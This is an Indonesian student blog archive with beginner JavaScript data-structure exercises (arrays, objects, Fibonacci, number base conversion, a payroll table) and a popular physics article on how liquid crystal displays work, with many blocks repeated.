Record[3] = new Mahasiswa("43E001", "Dini", "TI", "SI");
//menampilkan data
document.write("<table border = '1'>");
document.write("<th>NPM</th> <th>Nama</th>");
document.write("<th>Prodi</th><th>Jenjang</th> <br> ");
for (i=0; i < Record.length; i++)
{
document.write("<tr>");
Record[i].LihatRecordMahasiswa();
document.write("</tr>");
}
document.write("</table> <br>");
//-->
</script>
</body>
</html>
</head><title>Membuat Rekaman Objek</title></head>
<body>
<script language = "JavaScript">
<!--
var Record = new Array();
function Mahasiswa(npm, nama, prodi, jenjang) {
//Properti
this.npm = npm;
this.nama = nama;
this.prodi = prodi;
this.jenjang = jenjang;
//Metode
this.LihatRecordMahasiswa = LihatRecordMahasiswa;
}
function LihatRecordMahasiswa() {
document.write("<td>" + this.npm + "</td>");
document.write("<td>" + this.nama + "</td>");
document.write("<td>" + this.prodi + "</td>");
document.write("<td>" + this.jenjang + "</td>");
}
//mengisi data
Record[0] = new Mahasiswa("43E001", "Dani", "TI", "SI");
Record[1] = new Mahasiswa("43E001", "DONI", "TI", "SI");
Record[2] = new Mahasiswa("43E001", "Dina", "TI", "SI");
Record[3] = new Mahasiswa("43E001", "Dini", "TI", "SI");
//menampilkan data
document.write("<table border = '1'>");
document.write("<th>NPM</th> <th>Nama</th>");
document.write("<th>Prodi</th><th>Jenjang</th> <br> ");
for (i=0; i < Record.length; i++)
{
document.write("<tr>");
Record[i].LihatRecordMahasiswa();
document.write("</tr>");
}
document.write("</table> <br>");
//-->
</script>
</body>
</html>
Praktek Struktur Data Keenam
<html>
<head>
<script>
<!--
function fibonacci (n) {
var i;
var array_fib = new Array();
array_fib.push(0);
array_fib.push(1);
for (i=0; i<n; i++) {
array_fib.push(array_fib[0] + array_fib[1]);
array_fib.shift();
}
return array_fib[0];
}
for(i=0; i<=20; i++)
document.write("fibonacci (" + i + ") = " + fibonacci(i) + "<br>");
//-->
</script>
</head>
<body>
</body>
</html>
<head>
<script>
<!--
function fibonacci (n) {
var i;
var array_fib = new Array();
array_fib.push(0);
array_fib.push(1);
for (i=0; i<n; i++) {
array_fib.push(array_fib[0] + array_fib[1]);
array_fib.shift();
}
return array_fib[0];
}
for(i=0; i<=20; i++)
document.write("fibonacci (" + i + ") = " + fibonacci(i) + "<br>");
//-->
</script>
</head>
<body>
</body>
</html>
Praktek Struktur Data Kelima
<html>
<head>
<title>Belajar Array</title>
</head>
<body>
<script language="JavaScript">
<!--
var tempat =[];
var data = prompt("Ketik Jumlah Maksimum Array :");
for (m=1; m<data; m++)
{
var bil =prompt("Masukan Bilangan :");
tempat[m]=bil;
}
for (n=1; n<=data; n++)
{
document.write("Elemen Array("+n+") =" +tempat[n] + "<BR>");
}
//-->
</script>
</body>
</html>

<head>
<title>Belajar Array</title>
</head>
<body>
<script language="JavaScript">
<!--
var tempat =[];
var data = prompt("Ketik Jumlah Maksimum Array :");
for (m=1; m<data; m++)
{
var bil =prompt("Masukan Bilangan :");
tempat[m]=bil;
}
for (n=1; n<=data; n++)
{
document.write("Elemen Array("+n+") =" +tempat[n] + "<BR>");
}
//-->
</script>
</body>
</html>
Praktek Struktur Data Keempat
<html>
<head>
<title>Belajar Array</title>
</head>
<body>
<script language="JavaScript">
<!--
var DATA_KU = new Array("Saya","Sedang","Senang");
for (i=0; i<3; i++)
{
document.write(DATA_KU[i] +"<br>");
}
alert ("Selamat Belajar Struktur Data");
alert ("Semoga Memperoleh Ilmu Yang Bermanfaat");
//-->
</script>
</body>
</html>
<head>
<title>Belajar Array</title>
</head>
<body>
<script language="JavaScript">
<!--
var DATA_KU = new Array("Saya","Sedang","Senang");
for (i=0; i<3; i++)
{
document.write(DATA_KU[i] +"<br>");
}
alert ("Selamat Belajar Struktur Data");
alert ("Semoga Memperoleh Ilmu Yang Bermanfaat");
//-->
</script>
</body>
</html>
Praktek Struktur Data Ketiga
<html>
<head>
<title>Membuat Fungsi Matematika Dengan Java Script</title>
</head>
<body>
<script language="JavaScript">
<!--
function jumlah(x,y) {
var hasil = x + y;
return(hasil);
}
var a = parseInt(prompt("Ketikan Bilangan A = \n Ingat Jangan String"));
var b = parseInt(prompt("Ketikan Bilangan B = \n Ingat Jangan String"));
var z = jumlah(a,b);
document.write(z);
document.write("<BR>");
document.write("<hr>");
document.write("Tipe Data nya adalah = " + typeof(z));
//-->
</script>
</body>
</html>

<head>
<title>Membuat Fungsi Matematika Dengan Java Script</title>
</head>
<body>
<script language="JavaScript">
<!--
function jumlah(x,y) {
var hasil = x + y;
return(hasil);
}
var a = parseInt(prompt("Ketikan Bilangan A = \n Ingat Jangan String"));
var b = parseInt(prompt("Ketikan Bilangan B = \n Ingat Jangan String"));
var z = jumlah(a,b);
document.write(z);
document.write("<BR>");
document.write("<hr>");
document.write("Tipe Data nya adalah = " + typeof(z));
//-->
</script>
</body>
</html>
Jumat, 03 April 2009
Praktek Struktur Data Kedua
<html>
<head>
<title>Konversi Antar Sistem Bilangan</title>
</head>
<body>
<script language="JavaScript">
<!--
var bil = new Number(25);
document.write("Bilangan Desimal: " +bil+ "<BR>");
document.write("<HR>");
document.write("Biner : "+ bil.toString(2) + "<BR>");
document.write("Oktal : "+ bil.toString(8) + "<BR>");
document.write("Heksa : "+ bil.toString(16) + "<BR>");
//-->
</script>
</body>
</html>
<head>
<title>Konversi Antar Sistem Bilangan</title>
</head>
<body>
<script language="JavaScript">
<!--
var bil = new Number(25);
document.write("Bilangan Desimal: " +bil+ "<BR>");
document.write("<HR>");
document.write("Biner : "+ bil.toString(2) + "<BR>");
document.write("Oktal : "+ bil.toString(8) + "<BR>");
document.write("Heksa : "+ bil.toString(16) + "<BR>");
//-->
</script>
</body>
</html>
Praktek Struktur Data Pertama
<html>
<head>
<title>Type Bilangan</title>
</head>
<body>
<script language="JavaScript">
<!--
var a = 15;
b = 14;
tambah = a + b;
kali = a * b;
document.write("Penambahan (" +a+ " + " +b+ ") = " + tambah);
document.write("<BR>");
document.write("Perkalian (" +a+ " * " +b+ ") = " + kali);
document.write("<BR>");
//-->
</script>
</body>
</html>
<head>
<title>Type Bilangan</title>
</head>
<body>
<script language="JavaScript">
<!--
var a = 15;
b = 14;
tambah = a + b;
kali = a * b;
document.write("Penambahan (" +a+ " + " +b+ ") = " + tambah);
document.write("<BR>");
document.write("Perkalian (" +a+ " * " +b+ ") = " + kali);
document.write("<BR>");
//-->
</script>
</body>
</html>
Kamis, 02 April 2009
StruktuR Data
<html>
<head><title>Memanipulasi Data Pegawai</title>
<script language = "JavaScript" type="text/javascript">
<!--
var DBPegawai = new Array ();
function Pegawai(Fields_NIP,Fields_Nama,Fields_Gaji_Per_Jam,Fields_Jam_Kerja,Fields_Gaji_Total)
{
this.NIP = Fields_NIP;
this.Nama = Fields_Nama;
this.Gaji_Jam = Fields_Gaji_Per_Jam;
this.Jam_Kerja = Fields_Jam_Kerja;
this.Gaji_Total = Fields_Gaji_Total;
}
function inputPegawai()
{
var Nama, Gaji_Per_Jam, Jam_Kerja, Gaji;
while ( NIP = window.prompt("Ketikan NIP (Nomor Induk Pegawai)\n\n Click 'cancel' untuk Berhenti !!."))
{
Nama = window.prompt("Nama Pegawai : ");
Gaji_Per_Jam = parseInt(window.prompt("Gaji Per Jam : "));
Jam_Kerja = parseInt(window.prompt("Jumlah Jam Kerja : "));
Gaji = Gaji_Per_Jam*Jam_Kerja;
DBPegawai[DBPegawai.length] = new Pegawai(NIP,Nama,Gaji_Per_Jam,Jam_Kerja,Gaji);
}
ShowPegawai();
}
function ShowPegawai(){
document.write("<table border='1'>"+
"<tr>"+
"<th>NIP</th><th>Nama</th><th>Gaji Per Jam</th><th>Jam Kerja</th>"+
"<th>Gaji Total</th>"+
"</tr>");
for (i=0; i < DBPegawai.length; i++){
document.write("<tr>"+
" <td>"+DBPegawai[i].NIP + "</td>"+
" <td>"+DBPegawai[i].Nama + "</td>"+
" <td align='right'>"+DBPegawai[i].Gaji_Jam + "</td>"+
" <td align='right'>"+DBPegawai[i].Jam_Kerja + "</td>"+
" <td align='right'>"+DBPegawai[i].Gaji_Total + "</td>"+
"</tr>");
}
document.write("</table>");
}
//-->
</script>
</head>
<body onload ="inputPegawai();">
</body>
</html>
<head><title>Memanipulasi Data Pegawai</title>
<script language = "JavaScript" type="text/javascript">
<!--
var DBPegawai = new Array ();
function Pegawai(Fields_NIP,Fields_Nama,Fields_Gaji_Per_Jam,Fields_Jam_Kerja,Fields_Gaji_Total)
{
this.NIP = Fields_NIP;
this.Nama = Fields_Nama;
this.Gaji_Jam = Fields_Gaji_Per_Jam;
this.Jam_Kerja = Fields_Jam_Kerja;
this.Gaji_Total = Fields_Gaji_Total;
}
function inputPegawai()
{
var Nama, Gaji_Per_Jam, Jam_Kerja, Gaji;
while ( NIP = window.prompt("Ketikan NIP (Nomor Induk Pegawai)\n\n Click 'cancel' untuk Berhenti !!."))
{
Nama = window.prompt("Nama Pegawai : ");
Gaji_Per_Jam = parseInt(window.prompt("Gaji Per Jam : "));
Jam_Kerja = parseInt(window.prompt("Jumlah Jam Kerja : "));
Gaji = Gaji_Per_Jam*Jam_Kerja;
DBPegawai[DBPegawai.length] = new Pegawai(NIP,Nama,Gaji_Per_Jam,Jam_Kerja,Gaji);
}
ShowPegawai();
}
function ShowPegawai(){
document.write("<table border='1'>"+
"<tr>"+
"<th>NIP</th><th>Nama</th><th>Gaji Per Jam</th><th>Jam Kerja</th>"+
"<th>Gaji Total</th>"+
"</tr>");
for (i=0; i < DBPegawai.length; i++){
document.write("<tr>"+
" <td>"+DBPegawai[i].NIP + "</td>"+
" <td>"+DBPegawai[i].Nama + "</td>"+
" <td align='right'>"+DBPegawai[i].Gaji_Jam + "</td>"+
" <td align='right'>"+DBPegawai[i].Jam_Kerja + "</td>"+
" <td align='right'>"+DBPegawai[i].Gaji_Total + "</td>"+
"</tr>");
}
document.write("</table>");
}
//-->
</script>
</head>
<body onload ="inputPegawai();">
</body>
</html>
Kamis, 05 Februari 2009
Tigas Fisika
LCD gimana sih kerjanya
Apa itu Liquid Crystal Display? Rasanya istilah itu sering sekali disebut sebut
di dunia elektronik. Tentu saja! Bentuk paling sederhana dari teknologi
LCD ini terdapat di kalkulator yang kita gunakan sehari-hari, atau penunjuk waktu
(timer) pada microwave saat memanggang kue, dan tampilan jam digital. Bentuk
paling canggih yang masih dapat kita nikmati di sekeliling kita ada pada layar
monitor komputer dan laptop. Bagaimana cara kerja LCD? Yuk kita buka
rahasianya satu per satu.
Apa itu Liquid Crystal Display? Rasanya istilah itu sering sekali disebut sebut
di dunia elektronik. Tentu saja! Bentuk paling sederhana dari teknologi
LCD ini terdapat di kalkulator yang kita gunakan sehari-hari, atau penunjuk waktu
(timer) pada microwave saat memanggang kue, dan tampilan jam digital. Bentuk
paling canggih yang masih dapat kita nikmati di sekeliling kita ada pada layar
monitor komputer dan laptop. Bagaimana cara kerja LCD? Yuk kita buka
rahasianya satu per satu.
Konsep Liquid Crystal (Kristal Cair)
Liquid Crystal diterjemahkan kristal cair. Aneh sekali... Bukankah kristal
itu seharusnya padat. Mana mungkin kristal itu berbentuk cair? Mengapa
digunakan nama yang aneh?
Padat dan cair merupakan dua sifat benda yang berbeda. Molekul-molekul
benda padat tersebar secara teratur dan posisinya tidak berubah-ubah, sedangkan
molekul-molekul zat cair letak dan posisinya tidak teratur karena dapat bergerak
acak ke segala arah. Pada tahun 1888, seorang ahli botani, Friedrich Reinitzer,
menemukan fase yang berada di tengah-tengah antara fase padat dan cair. Fase ini
memiliki sifat-sifat padat dan cair secara bersama-sama. Molekul-molekulnya
memiliki arah yang sama seperti sifat padat, tetapi molekul-molekul itu dapat
bergerak bebas seperti pada cairan. Fase kristal cair ini berada lebih dekat dengan
fase cair karena dengan sedikit penambahan temperatur (pemanasan) fasenya
langsung berubah menjadi cair. Sifat ini menunjukkan sensitivitas yang tinggi
terhadap temperatur. Sifat inilah yang menjadi dasar utama pemanfaatan kristal
cair dalam teknologi.
Untuk memahami sensitivitas kristal cair terhadap suhu, kita bisa
menggunakan yang dikenal sebagai mood ring. Mood ring dianggap sebagai
cincin ajaib yang punya daya magis yang dapat membaca emosi pemakainya. Saat
si pemakai sedang marah atau tegang batu cincin tersebut berubah warna menjadi
hitam, sedangkan saat sedang tenang batu berwarna biru. Berbagai emosi lainnya
bisa diketahui berdasarkan perubahan warna batu cincin magis ini. Magis
(magical)? Ataukah fisika (physical)? Tentu saja fisika! Karena batu cincin ini
diisi dengan materi kristal cair yang sangat sensitif terhadap perubahan suhu,
sekecil apa pun perubahannya. Perubahan suhu menyebabkan terpilinnya struktur
molekul (twist) sehingga panjang gelombang cahaya yang diserap atau
direfleksikan berubah pula. Perubahan suasana hati atau emosi si pemakai cincin
menyebabkan perubahan suhu tubuh yang kemudian mempengaruhi suhu kristal
cair yang terkandung dalam batu tersebut. Sewaktu suhu meningkat, molekul
kristal cair terpilin dan menyebabkan warna merah dan hijau lebih banyak diserap
dan warna biru lebih banyak direfleksikan sehingga warna yang terlihat adalah
biru tua. Warna ini menunjukkan keadaan hati yang sedang bahagia dan bergairah
karena saat bahagia suhu tubuh paling tinggi (pembuluh kapiler semakin
mendekati permukaan kulit dan melepaskan panas). Suhu tubuh minimum saat
sedang tegang karena pembuluh kapiler masuk semakin dalam sehingga suhu
turun (digambarkan dengan warna hitam sebagai warna yang ditunjukkan kristal
cair pada suhu terendah). Selain temperatur, kristal cair juga sangat sensitif
terhadap arus listrik (beda potensial). Prinsip semacam inilah yang digunakan
dalam teknologi LCD. Ini sebabnya layar laptop terkadang terlihat berbeda di
musim dingin atau saat digunakan di cuaca sangat panas.
Nematic Liquid Crystal
Jenis kristal cair yang digunakan dalam pengembangan teknologi LCD
adalah tipe nematic (molekulnya memiliki pola tertentu dengan arah tertentu).
Tipe yang paling sederhana adalah twisted nematic (TN) yang memiliki struktur
molekul yang terpilin secara alamiah (dikembangkan pada tahun 1967). Struktur
TN terpilin secara alamiah sebesar 90o (Gambar 5). Struktur TN ini dapat dilepas
pilinannya (untwist) dengan menggunakan arus listrik.
Pada Gambar 6, kristal cair TN (D) diletakkan di antara dua elektroda (C
dan E) yang dibungkus lagi (seperti sandwich) dengan dua panel gelas (B dan F)
yang sisi luarnya dilumuri lapisan tipis polarizing film. Lapisan A merupakan
cermin yang dapat memantulkan cahaya yang berhasil menembus lapisan-lapisan
sandwich LCD. Kedua elektroda dihubungkan dengan batere sebagai sumber arus.
Panel B memiliki polarisasi yang berbeda 90o dari panel F.
Begini cara kerja sandwich ajaib ini. Cahaya masuk melewati panel F
sehingga terpolarisasi. Saat tidak ada arus listrik, cahaya lewat begitu saja
menembus semua lapisan, mengikuti arah pilinan molekul-molekul TN (90o),
sampai memantul di cermin A dan keluar kembali. Tetapi ketika elektroda C dan
E (elektroda kecil berbentuk segi empat yang dipasang di lapisan gelas)
mendapatkan arus, kristal cair D yang sangat sensitif terhadap arus listrik tidak
lagi terpilin sehingga cahaya terus menuju panel B dengan polarisasi sesuai panel
F. Panel B yang memiliki polarisasi yang berbeda 90o dari panel F menghalangi
cahaya untuk menembus terus. Karena cahaya tidak dapat lewat, pada layar
terlihat bayangan gelap berbentuk segi empat kecil yang ukurannya sama dengan
elektroda E (berarti pada bagian tersebut cahaya tidak dipantulkan oleh cermin A).
sehingga terpolarisasi. Saat tidak ada arus listrik, cahaya lewat begitu saja
menembus semua lapisan, mengikuti arah pilinan molekul-molekul TN (90o),
sampai memantul di cermin A dan keluar kembali. Tetapi ketika elektroda C dan
E (elektroda kecil berbentuk segi empat yang dipasang di lapisan gelas)
mendapatkan arus, kristal cair D yang sangat sensitif terhadap arus listrik tidak
lagi terpilin sehingga cahaya terus menuju panel B dengan polarisasi sesuai panel
F. Panel B yang memiliki polarisasi yang berbeda 90o dari panel F menghalangi
cahaya untuk menembus terus. Karena cahaya tidak dapat lewat, pada layar
terlihat bayangan gelap berbentuk segi empat kecil yang ukurannya sama dengan
elektroda E (berarti pada bagian tersebut cahaya tidak dipantulkan oleh cermin A).
Sifat unik yang dapat langsung bereaksi dengan adanya arus listrik ini
dimanfaatkan sebagai alat ON/OFF LCD. Tetapi sistem ini masih membutuhkan
sumber cahaya dari luar. Komputer dan laptop biasanya dilengkapi dengan lampu
fluorescent yang diletakkan di atas, samping, dan belakang sandwich LCD supaya
dapat menyebarkan cahaya (backlight) sehingga merata dan menghasilkan
tampilan yang seragam di seluruh bagian layar.
Mudah bukan? Tetapi tunggu dulu, perancangan dan pembuatan LCD
tidak semudah konsepnya. Masalah pertama disebabkan tidak ada satu pun
senyawa TN yang sudah ditemukan yang dapat memberikan karakteristik paling
ideal. Wah, ini berarti kristal cair yang digunakan harus merupakan campuran
berbagai senyawa TN. Untuk mencampur senyawa-senyawa ini diperlukan
percobaan untuk menentukan formulasi terbaik, dan hal ini bukan hal mudah.
Kadang-kadang dibutuhkan sampai 20 macam senyawa TN untuk mendapatkan
karakteristik yang diinginkan. Bayangkan saja, mencampur dua macam senyawa
saja sudah sangat sulit karena karakteristik masing-masing (misalnya rentang
suhu) saling mempengaruhi. Belum lagi penentuan titik leleh campuran yang
terbentuk. Selain itu, kristal cair TN yang terpilin sebesar 90o membutuhkan beda
potensial sebesar 100% untuk mencapai posisi untwist (posisi ON). Wow!!! Besar
sekali! Dan sangat tidak efisien! Lalu bagaimana jalan keluarnya?
Super-Twisted Nematic dan Thin-Film Transistor
Pada tahun 1980, Colin Waters (Inggris) memberikan solusi bagi masalah
ini. Ia bersama Peter Raynes menemukan bahwa semakin besar derajat pilinan,
beda potensial yang dibutuhkan semakin kecil. Pilinan yang menunjukkan beda
potensial paling kecil adalah 270o (Gambar 9). Penemuan ini menjadi dasar
dikembangkannya Super-Twisted Nematic (STN) yang sampai sekarang
digunakan pada telepon selular sampai layar laptop.
Pada waktu yang hampir bersamaan pula, Peter Le Comber dan Walter
Spear (juga dari Inggris) menemukan solusi lain dengan cara menggunakan bahan
semikonduktor silikon amorf untuk membuat Thin-Film Transistor (TFT) pada
tiap pixel TN. Metode ini menghasilkan tampilan dengan kualitas tinggi tetapi
memerlukan biaya produksi yang sangat mahal dan melibatkan proses pembuatan
yang rumit. Tentu saja rumit! Karena untuk menghasilkan gambar dengan kualitas
256 subpixel diperlukan sejumlah 256 pixel warna merah x 256 pixel biru x 256
pixel hijau. Tunggu sebentar! 256 x 256 x 256 = 16.8 juta. 16.8 juta transistor
super mini harus dibuat dan dilekatkan ke lapisan TN? Rumit dan melelahkan!
Tentu saja biayanya menjadi sangat mahal!
Tetapi seiring dengan semakin majunya teknologi, biaya pembuatan TFT
sedikit demi sedikit bisa ditekan karena ada penyederhanaan proses
pembuatannya. Tetapi STN pun tidak mau kalah saingan! Kualitas tampilan STN
semakin lama pun semakin baik sehingga keduanya terus bersaing ketat dan
mendominasi pasar.
Spear (juga dari Inggris) menemukan solusi lain dengan cara menggunakan bahan
semikonduktor silikon amorf untuk membuat Thin-Film Transistor (TFT) pada
tiap pixel TN. Metode ini menghasilkan tampilan dengan kualitas tinggi tetapi
memerlukan biaya produksi yang sangat mahal dan melibatkan proses pembuatan
yang rumit. Tentu saja rumit! Karena untuk menghasilkan gambar dengan kualitas
256 subpixel diperlukan sejumlah 256 pixel warna merah x 256 pixel biru x 256
pixel hijau. Tunggu sebentar! 256 x 256 x 256 = 16.8 juta. 16.8 juta transistor
super mini harus dibuat dan dilekatkan ke lapisan TN? Rumit dan melelahkan!
Tentu saja biayanya menjadi sangat mahal!
Tetapi seiring dengan semakin majunya teknologi, biaya pembuatan TFT
sedikit demi sedikit bisa ditekan karena ada penyederhanaan proses
pembuatannya. Tetapi STN pun tidak mau kalah saingan! Kualitas tampilan STN
semakin lama pun semakin baik sehingga keduanya terus bersaing ketat dan
mendominasi pasar.
Perkembangan teknologi LCD semakin pesat dalam dekade terakhir.
Kepopuleran LCD terutama karena kualitas gambar yang baik, konsumsi energi
yang kecil, serta kekuatan materi kristal cair yang tidak pernah mengalami
degradasi. Penelitian lanjut terus dikembangkan untuk mencapai target yang
sangat bervariasi, mulai dari usaha memproduksi LCD untuk ukuran layar yang
semakin besar, sampai kemungkinan alternatif komponen dengan bahan plastik
yang lebih ringan. Sasaran utama yang paling dikejar sebagian besar produsen
adalah LCD yang tidak lagi menggunakan backlight. Tetapi apa pun tujuan
pengembangan teknologi yang sedang mengalami kemajuan pesat ini, semuanya
membutuhkan pemahaman dan penelitian fisika secara lebih mendalam.
Kemungkinan pengembangan yang dapat dilakukan masih sangat luas. Siapa pun
bisa menghasilkan solusi-solusi baru yang lebih canggih dan diterima masyarakat
sebagai kemajuan teknologi modern. Bagaimana dengan Indonesia? Ada yang
mau berpartisipasi? Ada yang berminat mengikuti jejak Pierre-Gilles de Gennes
yang pernah memenangkan Nobel Fisika (1991) karena ‘iseng’ melakukan
penelitian tentang penyebaran cahaya pada materi kristal cair ini? Yang pasti
kesempatan masih terbuka lebar.
Kepopuleran LCD terutama karena kualitas gambar yang baik, konsumsi energi
yang kecil, serta kekuatan materi kristal cair yang tidak pernah mengalami
degradasi. Penelitian lanjut terus dikembangkan untuk mencapai target yang
sangat bervariasi, mulai dari usaha memproduksi LCD untuk ukuran layar yang
semakin besar, sampai kemungkinan alternatif komponen dengan bahan plastik
yang lebih ringan. Sasaran utama yang paling dikejar sebagian besar produsen
adalah LCD yang tidak lagi menggunakan backlight. Tetapi apa pun tujuan
pengembangan teknologi yang sedang mengalami kemajuan pesat ini, semuanya
membutuhkan pemahaman dan penelitian fisika secara lebih mendalam.
Kemungkinan pengembangan yang dapat dilakukan masih sangat luas. Siapa pun
bisa menghasilkan solusi-solusi baru yang lebih canggih dan diterima masyarakat
sebagai kemajuan teknologi modern. Bagaimana dengan Indonesia? Ada yang
mau berpartisipasi? Ada yang berminat mengikuti jejak Pierre-Gilles de Gennes
yang pernah memenangkan Nobel Fisika (1991) karena ‘iseng’ melakukan
penelitian tentang penyebaran cahaya pada materi kristal cair ini? Yang pasti
kesempatan masih terbuka lebar.
Langganan:
Postingan (Atom)